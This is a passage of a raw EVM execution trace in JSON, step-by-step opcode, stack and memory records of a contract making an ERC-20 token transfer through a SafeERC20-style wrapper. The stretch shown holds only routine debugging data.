0000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7530,"op":"MLOAD","gas":62550,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x80","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7531,"op":"PUSH2","gas":62547,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7534,"op":"SWAP2","gas":62544,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x80","0x124","0x1d74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7535,"op":"SWAP1","gas":62541,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x124","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7536,"op":"PUSH2","gas":62538,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7539,"op":"JUMP","gas":62535,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x208f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8335,"op":"JUMPDEST","gas":62527,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8336,"op":"PUSH1","gas":62526,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8338,"op":"DUP3","gas":62523,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8339,"op":"MLOAD","gas":62520,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8340,"op":"PUSH2","gas":62517,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8343,"op":"DUP2","gas":62514,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8344,"op":"DUP5","gas":62511,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8345,"op":"PUSH1","gas":62508,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8347,"op":"DUP8","gas":62505,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8348,"op":"ADD","gas":62502,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8349,"op":"PUSH2","gas":62499,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":8352,"op":"JUMP","gas":62496,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x1e0a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7690,"op":"JUMPDEST","gas":62488,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7691,"op":"PUSH1","gas":62487,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000